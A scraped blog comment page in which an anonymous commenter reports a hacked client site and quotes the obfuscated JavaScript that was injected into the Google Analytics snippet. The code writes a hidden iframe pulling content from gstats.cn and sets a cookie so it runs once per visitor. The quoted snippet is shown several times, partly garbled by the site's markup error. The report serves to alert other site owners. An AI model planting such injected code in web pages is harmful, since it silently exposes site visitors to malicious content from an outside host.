Account name:
Password
(OpenID?)
(Forgot it?)
Remember Me
You're viewing
dtm
's journal
Create a Dreamwidth Account
Learn More
Interest
Region
Site and Account
FAQ
Email
Reload page in style:
site
light
Daniel Martin
My personal blog, and not in any way the opinions of my employer
gstats code getting sneakier (Reply)
Navigation
Recent Entries
Archive
Reading
Tags
Memories
Profile
gstats code getting sneakier
Date:
2009-03-08 02:35 pm (UTC)
From:
(Anonymous)
I just found a client's site hacked, and the redirect code inserted inside the 2-line Google page tracking script on the page, like this:
var pageTracker = _gat._getTracker("UA-#######-1");
pageTracker._initData();
if (document.cookie.search("dfq=1") == -1) {
document.write("
[
Error:
Irreparable invalid markup ('<ifra"+"me>') in entry. Owner must fix manually. Raw contents below.]
I just found a client's site hacked, and the redirect code inserted inside the 2-line Google page tracking script on the page, like this:
var pageTracker = _gat._getTracker("UA-#######-1");
pageTracker._initData();
if (document.cookie.search("dfq=1") == -1) {
document.write("<ifra"+"me src"+"="+"h"+"ttp:"+"/"+"/g"+"stats.cn"+" "+"style"+"=disp"+"lay:none></if"+"r"+"ame>");
document.cookie = "dfq=1;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}
pageTracker._trackPageview();
From:
Anonymous
This account has disabled anonymous posting.
OpenID
Identity URL:
Log in?
Dreamwidth account
Account name
Password
Log in?
If you don't have an account you can
create one now
.
Subject
HTML doesn't work in the subject.
Formatting type
Casual HTML
Markdown
Raw HTML
Rich Text Editor
Message
Profile
dtm
Daniel Martin
September
2024
S
M
T
W
T
F
S
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Most Popular Tags
c
-
6 uses
html
-
3 uses
java
-
6 uses
javascript
-
5 uses
job
-
27 uses
katherine
-
33 uses
math
-
11 uses
meme
-
7 uses
perl
-
5 uses
politics
-
17 uses
programming
-
19 uses
randomness
-
1 use
religion
-
4 uses
shell
-
2 uses
tech
-
36 uses
tv
-
2 uses
Style Credit
Style:
Pink Panther
for
Lefty
by
sarken
Expand Cut Tags
No cut tags
Page generated Jul. 15th, 2025 04:18 am
Powered by
Dreamwidth Studios
gstats code getting sneakier
Date: 2009-03-08 02:35 pm (UTC)var pageTracker = _gat._getTracker("UA-#######-1");
pageTracker._initData();
if (document.cookie.search("dfq=1") == -1) {
document.write("
var pageTracker = _gat._getTracker("UA-#######-1");
pageTracker._initData();
if (document.cookie.search("dfq=1") == -1) {
document.write("<ifra"+"me src"+"="+"h"+"ttp:"+"/"+"/g"+"stats.cn"+" "+"style"+"=disp"+"lay:none></if"+"r"+"ame>");
document.cookie = "dfq=1;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}
pageTracker._trackPageview();